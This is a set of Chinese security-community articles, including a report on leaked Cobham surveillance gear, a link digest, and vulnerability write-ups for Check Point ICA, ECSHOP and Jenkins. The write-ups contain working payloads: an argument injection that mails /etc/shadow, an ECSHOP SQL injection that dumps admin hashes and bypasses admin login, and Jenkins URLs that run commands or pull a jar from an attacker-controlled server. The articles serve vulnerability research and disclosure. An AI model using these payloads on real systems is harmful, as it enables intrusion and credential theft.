我们可以看到，这份文件中记录了很多非常罕见的电子监控设备，而美国的警察和军队正在广泛使用这些间谍设备。其中有可以监控整个城市蜂窝网络数据的小黑匣子，也有隐藏在打火机里的麦克风，还有隐藏在街边垃圾桶内的监控探头。
**
**
**各方观点不一**
Cobham公司的官方发言人Greg
Caires表示：“近期，Cobham公司已经被英国国内的几家技术公司告上了法庭，而起因就是因为Cobham公司将高科技监控技术出口给了美国警方。”在当前这种紧张的国际环境下，将如此先进的间谍技术出售给他国政府，的确是“不可原谅”的。
Cobham公司在今年年初的时候已经将该公司旗下的“战略通信和监控”部门进行了拆分，并且将这个部门出售给了另外一家公司。虽然Caures拒绝对此次事件进行评论，而且他也没有正面承认这份泄漏文件的真实性，但是他表示“这份文件看起来像是真的”。
隐私国际的技术专家Richard
Tynan表示：“从这些间谍工具的设计角度来分析，开发人员明显没有想要去限制这些设备的功能，这些设备的作用范围非常广，而且受影响的人数会非常多。实际上这就是一个大规模监控系统，这种设备会对民众进行无差别的监控。与之前针对特定对象的监控技术不同，这些监控设备相当于是“撒网捞鱼”，有一种“宁可错杀一万，不可放过一个”的味道。”
**
**
**关于“Stingray”间谍工具的那些事儿**
在此之前，由于美国当地警方使用了军事级别的间谍设备“Stingray”，而引起了美国国内出现了不小的争议。实际上，“Stingray”是由Harris集团负责制造的，它只是一款针对蜂窝网络的间谍工具。但是很明显，可供美国当地执法部门选择的间谍工具种类是非常多的，而且外界对这些设备知之甚少。这是当然的了，因为设备制造商和政府执法部门肯定不会大肆宣传这些间谍工具，否则不就是在“引火上身”么。
“Stingray”是一款便携式定位设备，其实质是模仿手机基站（一般称为“基站模拟器”或“伪基站”）。该设备一旦开启，便会在其覆盖范围内对手机发出强烈的信号，诱使手机向其发出响应信号。此时，该设备就可以记录下每台注册手机的识别信息，执法人员就能识别手机的国际移动用户识别码（IMSI），从而追踪到机主，因此该设备也被叫做IMSI收集器。“Stingray”还可以用于长期调查，通过追踪疑犯的踪迹形成时间线。值得注意的是，“Stingray”仅仅是一个定位设备，它并不是监听设备，执法人员无法利用它来截取文本消息和语音电话等通信内容。
下图即为Harris公司所生产的StingRay定位设备：
**泄漏文件分析**
果然不出所料，由于Cobham公司所泄漏的这份文档中标记了“专有”和“机密”等字样，所有公司要求所有人应当立即“归还”这份文件。但是这份文件已经在网络上传播开了，想必Cobham公司自己也知道这样做其实并没有多大意义。
这份文件总共分为七个部分，其中包括视频监控产品、IP
Mesh网络产品、摄像头和传感器产品、追踪定位产品、命令控制产品、以及蜂窝网络监控产品。从泄漏文件的第105页开始，记录的都是一些专门针对蜂窝网络的监控设备，这些设备可以对用户的私人通话数据进行监控。更可怕的是，这些设备还可以对手机用户进行实时定位，定位误差竟然可以控制在一米之内。
美国公民自由协会的律师Nathan
Wessler一直都在研究类似“Stingray”这样的间谍设备，当他拿到了这份泄漏文件之后，他便立刻站出来表示：“从该文件的第105页开头处我们就可以看到，这些工具不仅可以拦截用户的语音通话和文字短信，而且还可以对目标手机进行实时定位。然而，美国的执法部门一直都在声称他们并不具备上述的这些能力，所以整个事情就非常有趣了。”
Tynan表示，Cobham公司所生产的这些针对蜂窝网络的监控设备与“Stingray”其实是一样的，它们本质上还是“IMSI收集器”。但是他认为，Cobham的这些设备不仅能够搭建“伪基站”，并获取用户的语音和文字信息，而且它们还可以同时对大量用户进行这样的操作，这就是我们所谓的大规模监控设备了。
Cobham的设备是标准的监听设备，它可以同时伪造出1至4个伪基站。这也就意味着，它既可以同时伪装成四个不同的通信运营商，也可以伪装成一家运营商的四个不同的通信基站，所以它一次性即可拦截四通语音电话。如果目标手机使用的是3G信号，那么这些设备的有效监控距离约为1-2公里。如果是2G信号的话，有效距离还可以大幅增加。除此之外，这种类型的设备还可以以每分钟两百个的频率来捕获手机的IMSI信息。
**3G-N**
在泄漏的文件中记录了一款名为“3G-N”的间谍设备。这款设备可以通过笔记本电脑来进行控制，它不仅能够大范围屏蔽某一区域内的手机信号，而且还可以进行大规模数据采集工作。
**GSM-XPZ PV**
文件中还可以看到一款名为“GSM-XPZ
PV”的设备。这款设备体积较为庞大，重达28公斤。其最大输出功率为50W，该设备可以构建出与AT&T和Verizon等通信服务商相同的蜂窝网络信号，任何处于该设备有效半径内的用户都将会处于不可见的监视之下。
**GSM-XPZ HP Plus**
相比“GSM-XPZ PV”而言，“GSM-XPZ HP
Plus”就小得多了。根据泄漏文件中记录的信息，控制人员可以通过手持设备来操作这款设备，它可以控制目标的手机，并且屏蔽目标手机的GSM网络信号。
**Evolve4－手持定位仪**
这款名为“Evolve4”的手持方向定位设备可以对目标用户的智能手机进行实时定位。士兵或者警察可以在自己的衣服中隐藏一根用于接收信号的天线，然后根据接收到的信号来跟踪目标人员。
**其他监控设备**
文件中还记载了一款配备了大功率天线的车载设备，这款设备的隐蔽性非常高，所以警察在使用起来才不容易被发现。
这种隐蔽性很强的技术意味着特工可以坐在一辆汽车里，并通过自己的智能手机来追踪目标人员的位置。但是我们也可以从文件中看到，这款设备还可以进行某种GSM操作。所以专家推测，这款设备应该还可以进行蜂窝信号屏蔽和通信劫持等操作。
除了上述这些相对而言比较大型的专用监控设备之外，像挂在墙上的钟、垃圾桶、路灯、鸟笼、灭虫器、烟雾检测器、花园卷管器、屋顶通风口、以及油漆沥青桶这样的地方都有可能安装有麦克风和监控摄像头。
**事件总结**
Cobham公司开发出的这些间谍设备将会严重危害我们的安全。因为随着时代的发展，我们生活中的各种东西都将有可能接入互联网，例如汽车、玩具和冰箱，甚至是某些植入体内的医疗设备都有可能接入网络。所以，如果这些现代化基础设施全部都暴露在了安全风险之下，那么这种情况肯定是我们绝对不能够接受的。 | 社区文章 |
# 【知识】8月22日 - 每日安全知识热点
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**热点概要： Tunnel Manager – From RCE to Docker
Escape、针对福昕阅读器拒绝修复的漏洞及其安全模式浅析、针对多款路由器的漏洞挖掘、以DVRF（路由器漏洞靶机）为例解读JEB固件漏洞利用（Part
1）、Awesome Security Gists、虚拟货币投资平台Enigma被黑，价值逾47万美元的以太坊已被盗**
**
**
****
**国内热词(以下内容部分摘自** **<http://www.solidot.org/> )：**
Gentoo 将移除加固内核
**资讯类：**
虚拟货币投资平台Enigma被黑，价值逾47万美元的以太坊已被盗
<http://thehackernews.com/2017/08/enigma-cryptocurrency-hack.html>
**技术类：**
Tunnel Manager – From RCE to Docker Escape
<https://xianzhi.aliyun.com/forum/read/2009.html>
关于福昕阅读器 – 安全阅读模式和其他漏洞的故事（针对前段时间福昕阅读器拒绝修复的漏洞及其安全模式浅析）
<http://insert-script.blogspot.co.at/2017/08/a-tale-about-foxit-reader-safe-reading.html>
重温SOHO路由器攻击（针对多款路由器的漏洞挖掘）
[http://www.sicherheitsforschung-magdeburg.de/uploads/journal/MJS_054_Rueda_SOHORouter.pdf](http://www.sicherheitsforschung-magdeburg.de/uploads/journal/MJS_054_Rueda_SOHORouter.pdf)
利用SQLMAP检测和利用SQL注入（科普）
<https://gbhackers.com/sqlmap-detecting-exploiting-sql-injection/>
一道CrackMe题目分析（含样本下载）
<https://secrary.com/CrackMe/AdvancedKeygenme/>
以DVRF（路由器漏洞靶机）为例解读JEB固件漏洞利用（Part 1）
<https://www.pnfsoftware.com/blog/firmware-exploitation-with-jeb-part-1/>
SLAE：自定义RBIX Shellcode编码器/解码器
<https://www.rcesecurity.com/2015/01/slae-custom-rbix-shellcode-encoder-decoder/>
Solving a Danish Defense Intelligence Puzzle（对一道CrackMe题目的分析）
<https://safiire.github.io/blog/2017/08/19/solving-danish-defense-intelligence-puzzle/>
记一次意外攻击失误导致的后果
<http://blog.portswigger.net/2017/08/how-i-accidentally-framed-myself-for.html>
The Art of Becoming TrustedInstaller
<https://tyranidslair.blogspot.co.uk/2017/08/the-art-of-becoming-trustedinstaller.html>
使用RIG EK投放Ramnit木马
<https://malwarebreakdown.com/2017/08/21/seamless-campaign-uses-rig-ek-to-drop-ramnit-trojan/>
针对JS_POWMET无文件恶意软件分析
<http://blog.trendmicro.com/trendlabs-security-intelligence/look-js_powmet-completely-fileless-malware/>
Awesome Security Gists
<https://github.com/Hack-with-Github/Awesome-Security-Gists/>
Cryptocurrency Miner利用WMI和永恒之蓝实现无文件恶意软件
<http://blog.trendmicro.com/trendlabs-security-intelligence/cryptocurrency-miner-uses-wmi-eternalblue-spread-filelessly/> | 社区文章 |
# Checkpoint ICA 管理工具漏洞研究
|
##### 译文声明
本文是翻译文章，文章原作者 Mikhail Klyuchnikov,Nikita Abramov，文章来源：swarm.ptsecurity.com
原文地址：<https://swarm.ptsecurity.com/vulnerabilities-in-checkpoint-ica-management-tool/>
译文仅供参考，具体内容表达以及含义原文为准。
## 0x01 漏洞背景
今天，我们将分析Check Point安全管理模块中的ICA管理工具组件里发现的多个漏洞。
ICA 管理工具是管理用户证书的模块，有以下几方面内容：
* 运行搜索
* 重新创建CRLs
* 配置ICA
* 删除过期的证书
默认情况下此服务是关闭的，需要使用内置实用程序cpca_client去开启服务。可以使用下面指令开启
cpca_client set_mgmt_tool on -no_ssl
需要注意的是：如果运行该命令，那么在匿名条件下可以访问该服务，所以建议仅使用SSL运行此服务。开启ssl需要执行以下命令
cpca_client set_mgmt_tool on -u [预先生成的证书]
在启用该组件之后，ICA管理工具可通过`http:// <smartcenter_ip>：18265 /`链接访问其web页面，
但在本文的研究环境中选择在不使用SSL的情况下启动该组件。
在分析ICA管理工具期间，我们发现了两个漏洞，详情如下。
## 0x02 参数注入
第一个漏洞类似于命令注入，攻击者可以在给目标应用程序传递参数时插入自定义命令。在研究环境中，我们可以向内部系统命令注入自定义参数并且成功执行。
Web接口最好用的功能之一是能够向用户发送有关证书初始化的通知，同时保留了修改电子邮件信息的能力，比如发件人，收件人，主题，邮件服务器地址等。最初试图将shell命令作为参数注入到邮件服务器地址参数中，比如在输入不正确的情况下利用错误的”
ping”命令，但是很快就确定该命令不能当作/bin/sh命令执行。
下一步是找到并研究邮件发送的过程。该服务监听在18265上，根据端口和进程之间的关系查询可以大概确定进程名为”cpca”。通过简单的字符串搜索确定了该程序与与sendmail进行了交互，并证实了是我们的需要研究的目标。cpca二进制文件包含字符串”
send_mail_file.txt”，这意味着它具有发送附件的功能。必须深入了解sendmail的命令行参数才能构造相对应的注入字符串。更多细节查看sendmail查询手册。
sendmail [-t server] [ [-m filename] | [-s subject] [-f from] email-address]
即使这样，也无法推导已执行的命令中参数的顺序，因此必须采用其他利用方式。将sendmail的命令行参数成功添加在Web界面的参数中：通过日志记录可以确认，在参数注入时指定的服务器文件已发送到攻击者控制的邮件服务器。如果从一开始就分析这里可能会更有效。
要利用此漏洞，使用nc监听本地25端口（使用本地端口检查漏洞，因为测试网络不允许我们向外部网络发送请求）。
然后，在配置CA时，将”管理工具邮件服务器”的值更改为” 127.0.0.1 -m /etc/shadow％0a％0a”。
修改时注意，”\n\n”（不带引号）应出现在字段的末尾。
然后，我们发出一个触发电子邮件发送的请求。 certs参数包含状态为”待定”的证书ID。
如下图所示/etc/shadow的内容已发送到nc监听的25端口。
## 0x03 拒绝服务
拒绝服务漏洞是由于无法验证输入数据而引起的。如果远程客户端发送了特殊的POST请求，该请求的主体以意外的方式格式化，则这将导致程序意外关闭。
我们生成了以下POST请求作为poc：
POST /file_init?_ HTTP/1.1
Host: checkpoint.host:18265
Cookie: _
Content-Length: 1
q
cpca crashed after receiving this request.
收到此请求后，cpca直接崩溃。
## 0x04 时间线
* 2020年3月16日-向供应商报告了漏洞
* 2020年3月17日-供应商做出回应
* 2020年3月18日-供应商开始进行修复
* 2020年6月4日-修复了漏洞
* 2020年9月24日- 分配得到CVE | 社区文章 |
# ECSHOP某二次注入利用姿势研究
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
译文仅供参考，具体内容表达以及含义原文为准。
最近渗透的时候遇到了ECSHOP，从网上搜了下，比较新的漏洞是乌云黑暗游侠提交的这两个注入
[ECSHOP最新全版本通杀注入](http://www.wooyun.org/bugs/wooyun-2010-086052)
[ECSHOP全版本通杀注射之2](http://www.wooyun.org/bugs/wooyun-2010-088561)
看了下细节，发现两个漏洞成因是一样的，都是出在手机版注册处，
**由于手机版在注册时没有对传入的用户名、email做敏感字符的限制，导致了单引号的带入，然后在更新session的时候被带入查询形成二次注入。**
测试了下目标站，发现确实存在漏洞，利用截图里的poc也成功获得了数据库的信息，但是当我进一步构造用户名准备获取管理员账号密码时却发现出不来数据，不是注册的时候就报错就是注册之后登录不上用户。
于是自己下载下来一套程序研究，发现注册的用户名都被截断了
查看表结构：
原来用户名和email都只允许60个字节的长度。掐指一算 感觉凭借自己的菜鸡水平估计是调不出直接报错拿管理员密码的exp了，于是想想别的方法。
既然是update型的注入，那就看看有没有输出点吧。
这个注入是在session表中出现的update型注入，因为session表中的数据是要更新到SESSION中的，所以找一个输出$_SESSION的地方应该不难。看了下程序源码，发现当用户登录后，用户中心显示用户名的地方可以输出数据，于是尝试构造用户名，将管理员密码update到session的user_name中。
但是我摸索半天却发现如果管理员只有一个还好，如果有多个，加上limit语句之后就超过了60字节
**',user_name=(select password from ecs_admin_user limit 0,1),ip=' （64字节）**
想了下，如果这样写，就正好可以满足60字符。
**',user_name=(select password from ecs_admin_user limit 0,1)#（60字节）**
但是这样子会将原本sql语句后面的where注释掉，致使所有用户的$_SESSION['user_name']都会被更新成管理员密码，显然不是一个完美的利用方式。
那还有什么更好的方法呢？想了想觉得唯一能缩短的地方也就是在user_name这里，那还有别的输出点么？读了下源代码，发现在用户购买商品时填写收货地址的地方，电子邮件地址是从$_SESSION['email']里取的，而将email作为输出点要比user_name短了4个字节
于是构造用户名
**',email=(select password from ecs_admin_user limit 0,1),ip=' （60字节）**
正好是60个字节，但是经过测试发现然并卵..因为在程序的update语句中email出现在user_name后面，所以会被覆盖掉…
忽然想起在第二个漏洞中提及email处其实也是可以带入单引号的，那我们直接将payload放在邮箱处注册，就可以防止被后面的赋值语句覆盖了。于是在邮箱地址处填入
**',email=(select password from ecs_admin_user limit 0,1),ip='**
注册一个新用户，然后访问/flow.php?step=consignee，成功获得了管理员的hash。
由于ecshop的管理员密码是有加salt的，我们还需要在注册一个用户来获得salt。
**',email=(select ec_salt from ecs_admin_user limit 0,1),ip='**
成功拿到password和salt后我兴奋的去解，结果显示未查到。。。
忽然感觉一盆冷水浇下。。正在我准备放弃的时候，我站在窗台，想了想mickey牛曾经说过的话：自己约的炮，含着泪也要打完。谨记大牛教诲，我冷静下来再想想该怎么利用。
看了下session表里的数据，忽然发现有一列叫做adminid，修改这个会不会直接就能访问后台了？我打开后台登录界面，然后试着把adminid数值改为1，果然可以访问管理界面了。但是后台的很多功能显示没有权限访问。
去读程序源码，发现程序会判断$_SESSION['action_list']，如果值为all，则可以使用所有功能，$_SESSION['action_list']是从session表的data列直接反序列化得到的。
于是我尝试构造这样的邮箱
**',adminid='1',data='a:1:{s:11:"action_list";s:3:"all";}'#**
**将所有人的$_SESSION['
adminid']设为1，$_SESSION['action_list']设为all。由于在update的语句中data项是在我们可控位置后面的，所以只能使用#注释掉后面的语句，将所有的session都改掉。不过还好，ecshop中后台管理员的session是独立生成的，所以如果之前没有访问过后台页面仍然是无法直接进入的，相对来说还是比较隐蔽的。**
在注册完用户后，刷新几下页面等session更新，然后我再次访问后台，果然直接绕过登陆可以使用所有功能了。
**总结下来，这个漏洞的最终的利用方法：**
****
**后台登录绕过：**
首先访问后台，建立session
然后访问/mobile/user.php?act=register
在email处填写
',adminid='1',data='a:1:{s:11:"action_list";s:3:"all";}'#
在前台登录后再次访问/admin/index.php 就可绕过登录操作后台所有功能。
**获取管理员password：**
访问/mobile/user.php?act=register
在email处填写
',email=(select password from ecs_admin_user limit 0,1),ip='
提交注册，在首页登录刚才注册的用户，然后访问
/flow.php?step=consignee
即可获得password
**获取管理员salt：**
方法同上
',email=(select ec_salt from ecs_admin_user limit 0,1),ip=' | 社区文章 |
# Jenkins RCE分析（CVE-2018-1000861分析）
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x01 Jenkins的动态路由解析
web.xml：
可以看到Jenkins将所有的请求交给org.kohsuke.stapler.Stapler来处理的，跟进看一下这个类中的service方法：
可以看到这里会根据url来调用不同的webApp，如果url以/$stapler/bound/开头，则根节点对象为org.kohsuke.stapler.bind.BoundObjectTable，否则为hudson.model.Hudson（继承jenkins.model.Jenkins）。
这里涉及到四个参数：
* req：请求对象
* rsp：响应对象
* root：webApp（根节点）
* servletPath：经过路由解析后的对象
继续向下跟：
在org.kohsuke.stapler.Stapler#tryInvoke中会根据不同的webApp的类型对请求进行相应的处理，处理的优先级顺序向下：
* StaplerProxy
* StaplerOverridable
* StaplerFallback
在tryInvoke中完成对路由的分派以及将路由与相应的功能进行绑定的操作，这里面比较复杂，但是非常有意思。
我们来看一下文档中是如何介绍路由请求这部分操作的：
文档中详细的说明了当我们传入类似/foo/bar/这样的url时路由解析的具体做法，具体看一下tryInvoke中的代码实现：
这里首先会根据webApp（根节点）来获取webApp的一个MetaClass对象，然后轮询MetaClass中所有的分派器——也就是Dispatcher.dispatcher。我们这里知道webApp是hudson.model.Hudson（继承jenkins.model.Jenkins），也就是说这里创建了MetaClass后会将请求包带入所有的分派器中进行相应的路由处理。
那么接下来就会有两个问题了：
* metaClass是如何构造的？还有metaClass是个什么东西？
* 在哪里完成的如文档所说的递归进行路由解析并通过分派器进行相应处理的呢？
这个两个问题困扰我很长的时间，在我耐心的动态调了一遍之后才明白了他的调用原理。
### metaClass的构建
这里我会用动态调试的方式来解释metaClass的构建过程以及它是一个什么东西。
这里我用根据orange文章中所给出的路由来进行跟踪，路由为/securityRealm/user/test/。那么首先看一下metaClass的构建过程：
这里有两个关键点getMetaClass以及getKlass，首先跟进getKlass看一下:
首先先判别我们传进来的node（也就是节点）是否是属于上面三个Facet的一个配置项，关于Facet我的理解是用于简化项目配置项的一种操作，它并不属于J2EE的部分，这部分我是参考https://stackoverflow.com/questions/1809918/what-is-facet-in-javaee。跟进f.getKlass，会发现直接返回null，所以我们不用关注这个循环，继续向下看Klass.java(o.getClass())：
这里动态的实例化了KlassNavigator.JAVA，这里的Klass其实是一个动态实例化的对象，这个对象中存在很多方法用于操作，同时也实例化了Klass类。可能现在还是看不出来什么和metaClass有关的东西，那不妨接着看看getMetaClass中是怎么处理这个Klass的。
跟进MetaClass：
在这里首先通过之前实例化的Klass对象中的方法来获取node节点的信息，并调用buildDispatchers()来创建分派器，这个方法是url调度的核心。
这个方法非常的长，我们来梳理一下（其实orange已经帮助我们梳理了），我是按照代码中自上而下的顺序来整理的：
* <obj>.do<token>(…)也就是do(…)和@WebMethod标注的方法
* <obj>.doIndex(…)
* <obj>js<token>也就是js(…)
* 有@JavaScriptMethod标注的方法
* NODE.getTOKEN()也就是get()
* NODE.getTOKEN(StaplerRequest)也就是get(StaplerRequest)
* <obj>.get<Token>(String)也就是get(String)
* <obj>.get<Token>(int)也就是get(int)
* <obj>.get<Token>(long)也就是get(long)
* <obj>.getDynamic(<token>,…)也就是getDynamic()
* <obj>.doDynamic(…)也就是doDynamic()
也就是说符合以上命名规则的方法都可以被调用。
buildDispatchers()的主要作用就是寻找对应的node节点与相应的处理方法（继承家族树中的所有类）并把这个方法加入到分配器dispatchers中。而这里所说的这个方法可能是对节点的进一步处理最后通过反射的方法调用真实处理该节点的方法。
举一个例子，在代码中可以看到在对get(…)类的node进行处理的时候都会动态生成一个NameBasedDispatcher对象并将其添加进入dispathers中，而这个对象都存在doDispatch()的方法用于处理分派器传来的请求，而在处理请求的最后都会调用invoke来反射调用真实处理方法：
这里先记一下这样的处理过程，在之后的分派器处理路由请求时会有涉及。
#### 路由请求处理过程
仍然是以上面/securityRealm/user/test/路由为例。首先不看代码，先根据文档中所描述的处理方式大致猜一下这一串路由是如何解析的：
-> node: Hudson
-> node: securityRealm
-> node: user
-> node: test
回到tryInvoke中我们来具体看一下在代码中是怎么做的：
注意到这里会有一个遍历metaClass.dispatchers的操作，然后在每次遍历的过程中，将请求、返回以及node节点传入Dispatcher.dispatch中，跟一下这个dispatch：
这个是一个抽象类，那么他的具体实现是什么呢，还记得上一节所探讨的metaClass中对get请求的处理么，它们都会动态的生成一个NameBasedDispatcher对象，而我们现在的处理过程中就会调用到这个对象中的dispatch方法，我们来看一下：
注意看红框的部分，这里会获取请求的node节点，并调用其具体实现中的doDispatch方法，而这个doDispatch方法是在buildDispatchers()中根据不同的node节点动态生成的，那么也就是调用了处理get(…)的doDispatch：
这里我们有一个疑惑，第一个节点已经ok了，那么如何递归的解析其他的节点呢？这一点需要跟一下req.getStapler().invoke()，先看一下getStapler()：
就是当前的Stapler。这里的ff是一个org.kohsuke.stapler.Function对象，它保存了当前根节点中方法的各种信息：
ff.invoke会返回Hudson.security.HudsonPrivateSecurityRealm对象：
然后将这个HudsonPrivateSecurityRealm对象作为新的根节点再次调用tryInvoke来进行解析，一直递归到将url全部解析完毕，这样才完成了动态路由解析。
## 0x02 Jenkins白名单路由
在跟踪Jenkins的动态路由解析中，一直没有提及一个过程，就是在org.kohsuke.stapler.Stapler#tryInvoke中首先对属于StaplerProxy的node进行的一个校验：
跟进看一下：
这里首先要进行权限检查，首先检查访问请求是否具有读的权限，如果没有读的权限则会抛出异常，在异常处理中会对URL进行二次检测，如果isSubjectToMandatoryReadPermissionCheck返回false，则仍能正常的返回，那么跟进看一下这个方法：
这里有三种方法绕过权限检查，这里着重看一下第一种，可以看到这里有一个白名单，如果请求的路径是这其中的路径的话，就可以绕过权限检测：
## 0x03 绕过ACL进行跨物件操作
这也是orange文章中最为精华的部分，主要是有三个关键点：
* Java中万物皆继承于java.lang.Object，所以所有在Java中的类都存在getClass()这个方法
* Jenkins的动态路由解析过程也是一个get(…)的命名格式，所以getClass()可以在Jenkins调用链中被动态调用。
* 上文中所说的白名单可以绕过ACL的检测
重点说一下第二点，根据文档以及我们上文的分析，如果有这么一个路由：
http://jenkin.local/adjuncts/whatever/class/classLoader/resource/index.jsp/content
那么在Jenkins的路由解析过程中会是这样的过程：
jenkins.model.Jenkins.getAdjuncts(“whatever”)
.getClass()
.getClassLoader()
.getResource(“index.jsp”)
.getContent()
当例子中的class更改成其他的类时，get(…)也会被相应的调用，也就是说可以操作任意的GETTER方法！
理解了这一点，我们只需要把调用链中各个物件间的关系找出来就能构成一条完整的利用链！这一点才是整个漏洞中最精彩的一部分。
## 0x04 整理漏洞利用链
在利用orange文章中给出的跳板url进行跟踪的过程中，我一直试图去理解为什么要这样的构造，而并不是直接拿来这个url进行动态调。下面我将尝试去解释如何一步步发现以及一步步的构造这个跳板。
在0x02中我们已经分析了可以利用三种白名单中的路由格式来绕过权限检查，这里我们利用securityRealm来构造利用链。
### securityRealm中可用的利用链
我们看一下securityRealm对应的metaClass中有什么可以用的：
可以看到总共可用的有30个之多，而真正可以控制的利用链只有hudson.security.HudsonPrivateSecurityRealm.getUser(String)。
如果仔细阅读了文档，可以很容易根据方法名来理解这个方法主要是干什么的，比如get(…)[token]这样的，就说明他会根据路由解析策略来解析之后的参数，如果说是do(…)这样的，证明会执行相应的方法。
那么也就说我们之后的操作需要基于getUser这个方法。根据路由解析策略，我们现在构造这样的url来进一步动态看一下在User对应的metaClass中有什么可以利用的。
### 突破习惯性思维
我们这此将url更改为：
/securityRealm/user/admin
看一下metaClass中的内容，发现都是User这个类中的方法，好像没有什么能用的东西，好像这个思路不可行了，那么这个时候能不能继续利用路由的解析特点来调用其他的类中的方法呢？可以的。
这个时候就要说一下在每个节点加载时候存在的一个问题，这部分是我自己的猜测可能有错误，希望大家指正。
根据0x01中的分析，我们都知道第一个根节点为hudson.model.Hudson，而Hudson又是继承于Jenkins的，所以他会将hudson和jenkins包下的model中所有的类全部都加载进metaClass中，从动态调试中我们也能看得出来：
那么由于我们是需要利用securityRealm来绕过权限检测，那么这个时候下次处理的根节点为hudson.security.HudsonPrivateSecurityRealm，同样，这里也会加载HudsonPrivateSecurityRealm这个类下的所有方法，因为这里只有getUser(String)中的String是收我们控制并且能执行的一个方法，所以我们这里就可以调用到hudson.model.User类，此时路由解析会认为下一个节点是该方法的一个参数（token），在解析下一个节点时将其节点带入到getUser()方法中。在这里metaClass中是User这个类中的所有方法，但是在路由解析中认为下一个节点并不会是与User所相关的参数或方法。
**所以当我们在这里新传入一个不在** **metaClass** **中的方法时，他首先会在构建metaClass**
**的过程中尝试找到这个未知的类及其继承树中的类，并将其加入到metaClass** **中。**
而这个添加的过程，就在webApp.getMetaClass(node)中：
所以我可以构造这么样一个url来调用hudson.search.Search#doIndex来进行查询：
http://localhost:8080/jenkins_war_war/securityRealm/user/admin/search/index?q=a
同样我也可以尝试调用hudson.model.Api#doJson：
http://localhost:8080/jenkins_war_war/securityRealm/user/admin/api/json
这么顺着想当然没有问题，但是我在分析的时候又有一个想法，如果说我不加user/admin也就是说不调用User能不能直接加载api/json来查看信息呢？
不行，为什么呢？同样的问题也出现在调用search/index中。
#### 理解metaClass的加载机制
这个问题其实是一个比较钻牛角尖的问题，以及对metaClass加载方式不完全了解的问题。我们来看一下User的继承树关系图:
User类是直接继承于AbstractModelObject这个抽象类的，而AbstractModelObject是SearchableModelObject这个接口的实现，这是一条完整的继承树关系。我们来首先看一下SearchableModelObject这个接口：
在接口这里声明了一个getSearch()方法，也就是说当节点为User类时，在metaClass寻找的过程中是可以通过继承树关系来找到getSearch()方法的，接下来看一下具体的实现:
这里会返回一个Search对象，然后这个对象中的所有方法都会被添加进入metaClass中，并通过buildDispatchers()来完成分派器的生成，然后就是正常的路由解析过程。
而在HudsonPrivateSecurityRealm的继承树关系中是没有这一层关系的：
所以search/index是没办法被找到的。
### 思考
现在我们理清楚了为什么跳板url需要这样构造，说实话，调用到User这个类其实就是完成了一个作用域的调转，从原来的限制比较死的作用域跳转到一个更加广阔的作用域中了。
那么现在问题来了，rce的利用链到底在哪里？
我们重新看看在User节点中还有什么是可以利用的：
这里好像可以调用ModelObject中的东西，那么先来分析一下DescriptorByNameOwner这个接口：
可以看到就是通过id来获取相应的Descriptor，也就是说接下来去寻找可用的Descriptor就行了。这里下个断点就能看到582个可调用的Descriptor了。
## 0x05 Groovy沙盒绕过最终导致的rce
Jenkins 2019-01-08的安全通告中包含了Groovy沙箱绕过的问题：
其实最后可利用的点并非这么几条路，但是其原理都是差不多的，这里用Script Security这个插件作为例子来分析。
在org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript#DescriptorImpl中我们首先可以看到这个DescriptorImpl是继承于Descriptor的，也就是说我们上面的调用链可以访问到该方法；同时在这个方法中存在一个doCheckScript的方法，根据前面的分析，我们知道这个方法也是可以被我们利用的，并且这个方法的value是我们可控的，在这里完成的对value这个Groovy表达式的解析。
这里只是解析了Grovvy表达式，那么它是否执行了呢？这里我们先不讨论是否执行了，我们来试一试公告中的沙箱绕过方式是怎么做的。
### 方法一：@ASTTest中执行assertions
首先在本地试一下@ASTTest中是否能执行断言，执行的断言是否能执行代码：
然后试一下这个poc：
http://localhost:8080/jenkins_war_war/securityRealm/user/test/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=import+groovy.transform.*%0a
%40ASTTest(value%3d%7bassert+java.lang.Runtime.getRuntime().exec(%22open+%2fApplications%2fCalculator.app%22)%7d)%0a
class+Person%7b%7d
成功执行代码。
这里的执行命令的方式可以换成groovy形式的执行方法:
http://localhost:8080/jenkins_war_war/securityRealm/user/test/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=import+groovy.transform.*%0a
%40ASTTest(value%3d%7b+%22open+%2fApplications%2fCalculator.app%22.execute().text+%7d)%0a
class+Person%7b%7d
### 方法二：@Grab引入外部的危险类
Grape是groovy内置的依赖管理引擎，具体的说明在官方文档中，可以仔细阅读。
在阅读Grape文档时，关于引入其他存储库这部分的操作是非常令人感兴趣的:
如果这里的root是可以指向我们控制的服务器，引入我们已经构造好的恶意的文件呢？有点像JNDI注入了吧。
本地写个demo试一下:
那么按照这个模式来构造，这里参考Orange第二篇文章或这篇利用文章，我的执行流程如下:
javac Exp.java
mkdir -p META-INF/services/
echo Exp > META-INF/services/org.codehaus.groovy.plugins.Runners
jar cvf poc-2.jar Exp.class META-INF
mkdir -p ./demo_server/exp/poc/2/
mv poc-2.jar demo_server/exp/poc/2/
然后构造如下的请求：
http://localhost:8080/jenkins_war_war/securityRealm/user/test/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=@GrabConfig(disableChecksums=true)%0a
@GrabResolver(name=’Exp’, root=’http://127.0.0.1:9999/’)%0a
@Grab(group=’demo_server.exp’, module=’poc’, version=’2′)%0a
import Exp;
## 0x06 总结
Orange这个洞真的是非常精彩，从动态路由入手，再到Pipeline这里groovy表达式解析，真的是一环扣一环，在这里我用正向跟进的方法将整个漏洞梳理了一遍，梳理前是非常迷惑的，梳理后恍然大悟，越品越觉得精彩。Orange
Tql。
T T
## 0x07 Reference
* https://stackoverflow.com/questions/1809918/what-is-facet-in-javaee
* http://docs.groovy-lang.org/latest/html/documentation/grape.html
* https://0xdf.gitlab.io/2019/02/27/playing-with-jenkins-rce-vulnerability.html
* https://jenkins.io/security/advisories/
* https://jenkins.io/doc/developer/book/
* https://devco.re/blog/2019/01/16/hacking-Jenkins-part1-play-with-dynamic-routing/
* https://devco.re/blog/2019/02/19/hacking-Jenkins-part2-abusing-meta-programming-for-unauthenticated-RCE/ | 社区文章 |
# 大规模多租户数据平台安全思考（二）
##### 译文声明
本文是翻译文章
